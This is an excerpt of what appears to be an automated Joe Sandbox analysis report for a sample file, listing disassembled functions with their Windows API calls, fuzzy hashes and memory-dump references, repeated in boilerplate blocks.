Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: InfoQuerySystemVirtual
String ID: D
API String ID: 401686933-2746444292
Opcode ID: ddd158d8d619ab73d1a241a53d684543953cf2514c8454855dab13c8d9a9e353
Instruction ID: 953865185d2d64536845869aab70df1c380e6c5cb32d2cf97dcd867d9e5f4ae9
Opcode Fuzzy Hash: ddd158d8d619ab73d1a241a53d684543953cf2514c8454855dab13c8d9a9e353
Instruction Fuzzy Hash: 7901D832600109ABDB14DF29DC05BED7BEAEFD4324F08C134AD19DB154DA38D9058680

Function 000D4FDF Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 000D50D7
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 000D50E1
UnhandledExceptionFilter.KERNEL32(-00000325,?,?,?,?,?,00000000), ref: 000D50EE

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: f0c2fb91f66720686a2e59226b63c9130c54e096fe055cd72d3e661a817344de
Instruction ID: 3ae21c74271b8a7f5a0d329ebc8f1af1acb742d87496bfd9d3fc7253d85c89e8
Opcode Fuzzy Hash: f0c2fb91f66720686a2e59226b63c9130c54e096fe055cd72d3e661a817344de
Instruction Fuzzy Hash: 7E31C274941319ABCB61DF68DC88BDDBBB8AF18310F5041DAE80CA7291EB349F818F54

Function 000DC4F8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

., xrefs: 000DC68B

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: 2f1a7c1ea1ad3a26f7bfaca2983b9c9cf172c0975192c25043c37925ec95818e
Instruction ID: 723b0f11ba8f54ab9a3879faaf7fd79e2082fb07bd078a80cf6c2523ef70138d
Opcode Fuzzy Hash: 2f1a7c1ea1ad3a26f7bfaca2983b9c9cf172c0975192c25043c37925ec95818e
Instruction Fuzzy Hash: 4831E17190034A6EEB649E78DC84EFB7BBDDB85314F00019AE91997252E630AE84CB60

Function 000DE5F0 Relevance: 3.5, APIs: 2, Instructions: 464COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d08e2bcb8369247a90beecc4ac2937ecc20121a35f50d3dd5c946701bfc99d8e
Instruction ID: a0de0d2f1c94c00282623e0625a3c0d8a7b2a281c2fdae69f2b4f0e2ec39eaf4
Opcode Fuzzy Hash: d08e2bcb8369247a90beecc4ac2937ecc20121a35f50d3dd5c946701bfc99d8e
Instruction Fuzzy Hash: 3D022C71E012199BDF54DFA9C8906ADFBF1FF48314F25816AD819EB381D731AE418B90

Function 000CC083 Relevance: 3.0, APIs: 2, Instructions: 45COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 000CC0A9
GetNumberFormatW.KERNEL32(00000400,00000000,?,000F072C,?,?), ref: 000CC0F8

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: ebe4249a77bd8ae2aac87abdc53c848f38c21425fbd8ec7a6c45d2d38652e3d7
Instruction ID: 65903b3331e27319f2d6250898cda288d8edceb09dc5af89b38f5fcdc145ecb2
Opcode Fuzzy Hash: ebe4249a77bd8ae2aac87abdc53c848f38c21425fbd8ec7a6c45d2d38652e3d7
Instruction Fuzzy Hash: A1019E36500308BAE7109BA4DC45FDA7BBCEF09710F008062BA04A7151D370A954DBA5

Function 000B7727 Relevance: 3.0, APIs: 2, Instructions: 16windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(000B7886,?,00000400), ref: 000B7727
FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,?,?,00000000), ref: 000B7748

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: df38434322dbfd9951631fc55af2dcc5100b9c0b56ba6c7f135ca5c65383944c
Instruction ID: 6da30597b04b2f8ae43e310c4fc0fbb853e40ee58b2646fb2369c1e68d32f147
Opcode Fuzzy Hash: df38434322dbfd9951631fc55af2dcc5100b9c0b56ba6c7f135ca5c65383944c
Instruction Fuzzy Hash: 2FD0C93138C340BBFB510B705C8AF6E779ABB95F51F14C824B759E80E0DAB49424A729

Function 000E2BA4 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,000E2B9F,?,?,00000008,?,?,000E283F,00000000), ref: 000E2DD1

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: ae566a10fd3ae52ee9c3e84187a4cc84536cd8eddd33e59a4e4a964891fef641
Instruction ID: 89de230102ff9df68d804cf34b49708628a7847f2bca6819cf2728d35ef1b0f5
Opcode Fuzzy Hash: ae566a10fd3ae52ee9c3e84187a4cc84536cd8eddd33e59a4e4a964891fef641
Instruction Fuzzy Hash: CAB19F31210648DFD759CF29C886B687BE4FF45364F298658E9DADF2A1C335E981CB40

Function 000D0816 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 000D082C

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: ac10ce5f4fad309ab8a297ce7bc4dca7550a9857fc218a4ee81c5f73bc52ff4d
Instruction ID: 96808058b43a71d378616b074257e8a5cfeb86fec97a76a42f4ecc9bcbd82478
Opcode Fuzzy Hash: ac10ce5f4fad309ab8a297ce7bc4dca7550a9857fc218a4ee81c5f73bc52ff4d
Instruction Fuzzy Hash: 0C516AB1A053058FEB18CF54D9957AEBBF0FB48310F24856AD459EB3A1D778A940CFA0

Function 000BC365 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?), ref: 000BC388

Part of subcall function 000BC3F7: __EH_prolog.LIBCMT ref: 000BC3FC
Part of subcall function 000BC3F7: CoCreateInstance.COMBASE(000E68A0,00000000,00000001,000E67D0,?), ref: 000BC41E

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: CreateH_prologInstanceVersion
String ID:
API String ID: 511865808-0
Opcode ID: b710f731ac5dfb897398c3421b259b309ac9d3c9563b50ffbfba7e097d975d6f
Instruction ID: e94bad21461e5726c1473cf4d2610f779169e064e1ad6848e45ce61906cf5d67
Opcode Fuzzy Hash: b710f731ac5dfb897398c3421b259b309ac9d3c9563b50ffbfba7e097d975d6f
Instruction Fuzzy Hash: ACF0AE305042889BFF65D760A8597EC37E44711B19F4480D6C14052552CBB94BC6EF72

Function 000B4A8E Relevance: 1.5, Strings: 1, Instructions: 276COMMON

Download Yara Rule

Strings

gj, xrefs: 000B4B4C

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID:
String ID: gj
API String ID: 0-4203073231
Opcode ID: ef78f5a18e5c7afcff04352d87bf50df96c67ca7ac407f5e8c7baa2e0efe63f1
Instruction ID: 1e35588e495165209a46c2cc45a6bf422960618df9b67617e8f09a7e8c6b3280
Opcode Fuzzy Hash: ef78f5a18e5c7afcff04352d87bf50df96c67ca7ac407f5e8c7baa2e0efe63f1
Instruction Fuzzy Hash: 0AC147B2A183818FC754CF29D88065AFBE1BFC9208F19892DE998D7301D774E945CB96

Function 000D0B8D Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00020BA0,000D05F5), ref: 000D0B92

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: de30f303284d29d2fb2c46af4523dca3dc6f2d001e59443b13851e194fdaafdc
Instruction ID: aef553e41fedc3bcc759dd9000229ef6fb56e6cf545d1726b12978b2b1acdf27
Opcode Fuzzy Hash: de30f303284d29d2fb2c46af4523dca3dc6f2d001e59443b13851e194fdaafdc
Instruction Fuzzy Hash:

Function 000DD1E0 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000DD1E0

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 5a04abeb954b02ef4aebe4c9ac93a810c15488ae2056d2ebb54403db0bc7be01
Instruction ID: d3b555edacd24878cb4c4ada58af4508a3c3eefff3e7bc4440079dbcc872acb8
Opcode Fuzzy Hash: 5a04abeb954b02ef4aebe4c9ac93a810c15488ae2056d2ebb54403db0bc7be01
Instruction Fuzzy Hash: FAA012301011008B57004F315B442083595A742E803008064D104C4160E72440904601

Function 000C741E Relevance: .8, Instructions: 807COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14107ab2eb677d89ab82a9e8cd0b58c2513a27d64da7517e3f9df36b52c7f408
Instruction ID: a605625fa37f9bf3461e24c8dfad17f0cea41774fcb6cfccd31644fc2b716773
Opcode Fuzzy Hash: 14107ab2eb677d89ab82a9e8cd0b58c2513a27d64da7517e3f9df36b52c7f408
Instruction Fuzzy Hash: 4162C271608B859FCB29CF38C490BBD7BE1AF95304F18896DE99E8B342D734A945CB10

Function 000C889F Relevance: .8, Instructions: 781COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 686ee81217faa8b25d92411dde72c974ae3b132d04929721e9996bdb0a46f4d9
Instruction ID: a2691ea3df3a1f97a98f4e537528d89d6165c13acef27f7926d86251a85b05de
Opcode Fuzzy Hash: 686ee81217faa8b25d92411dde72c974ae3b132d04929721e9996bdb0a46f4d9
Instruction Fuzzy Hash: 2462F2716082459FCB18CF28C494ABDBBE1BF95304F08C66DEC9A8B386DB30E945DB55

Function 000C07A0 Relevance: .7, Instructions: 694COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 232d43c48be5cce88d6a67f63a1396d6ddf25a265867b35122af6f8bff066f68
Instruction ID: fb893bdf72f163438b1ba68cf898c9e9fdb1655c62216a6ccea8da0e46fe6421
Opcode Fuzzy Hash: 232d43c48be5cce88d6a67f63a1396d6ddf25a265867b35122af6f8bff066f68
Instruction Fuzzy Hash: 68525872A187018FC718CF19C891A6AF7E1FFCC304F498A2DE5859B255D734EA19CB86

Function 000C8243 Relevance: .5, Instructions: 528COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fc5d90e3d3db3c1efeadd43c82ab0011a4bf8cdeb23a77e5de6e7a1e8cf8e6d
Instruction ID: 90550e805b30204a3083bcc48723135a564af045e6d45c78b536a588bec55222
Opcode Fuzzy Hash: 8fc5d90e3d3db3c1efeadd43c82ab0011a4bf8cdeb23a77e5de6e7a1e8cf8e6d
Instruction Fuzzy Hash: E712C2716047468FC728CF28C494BBDB7E1FB54304F10892EE99AC7681EB78E995CB49

Function 000BD833 Relevance: .5, Instructions: 454COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2246fcd3e83b70240e2817f7267b01fac98fef6c85105cf9753bd598888e73e
Instruction ID: f6116d6801b557fa7c3e7df098129ca96b0d72856dec9c2bd9fc32b04702e335
Opcode Fuzzy Hash: e2246fcd3e83b70240e2817f7267b01fac98fef6c85105cf9753bd598888e73e
Instruction Fuzzy Hash: 8BF189716083418FC765CF28C484AAEFBE5FF89328F184A2EF4C597256E631E945CB52

Function 000BFCCC Relevance: .3, Instructions: 320COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb294ab04e90cc0ce06dd50e6bd048f97e69c970a0f5bb731c9e94b4a6952ed4
Instruction ID: e22b515db1d0f6ab501a5e771722060ba361999d6f1a753e5b6160035c16d588
Opcode Fuzzy Hash: fb294ab04e90cc0ce06dd50e6bd048f97e69c970a0f5bb731c9e94b4a6952ed4
Instruction Fuzzy Hash: CFE148755183908FC704CF29D4804AABBF0BF9A300F4A495EFAD587352C735EA15EBA6

Function 000C5272 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

